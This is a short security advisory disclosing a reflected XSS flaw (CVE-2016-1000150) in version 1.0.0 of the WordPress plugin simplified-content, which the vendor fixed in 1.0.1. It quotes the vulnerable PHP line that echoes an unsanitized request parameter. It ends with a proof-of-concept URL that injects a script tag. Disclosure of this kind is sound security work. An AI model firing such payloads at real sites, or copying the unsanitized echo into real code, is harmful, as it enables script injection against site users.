Advisory #: 853
Title: Reflected XSS in wordpress plugin simplified-content v1.0.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site:
Downloads: 27
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact:, fixed v1.0.1
Plugin Name: simplified-content
There is a reflected XSS vulnerability in the following php code ./simplified-content/ooawpframework/js/ajax/OOAAjax.js.php: 24: url: "<?php echo $_REQUEST["ajaxURL"]; ?>", The variable ajaxURL appears to send unsanitized data back to the users browser.
CVE-ID: 2016-1000150
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/simplified-content/ooawpframework/js/ajax/OOAAjax.js.php?ajaxURL="><script>alert(1);</script><"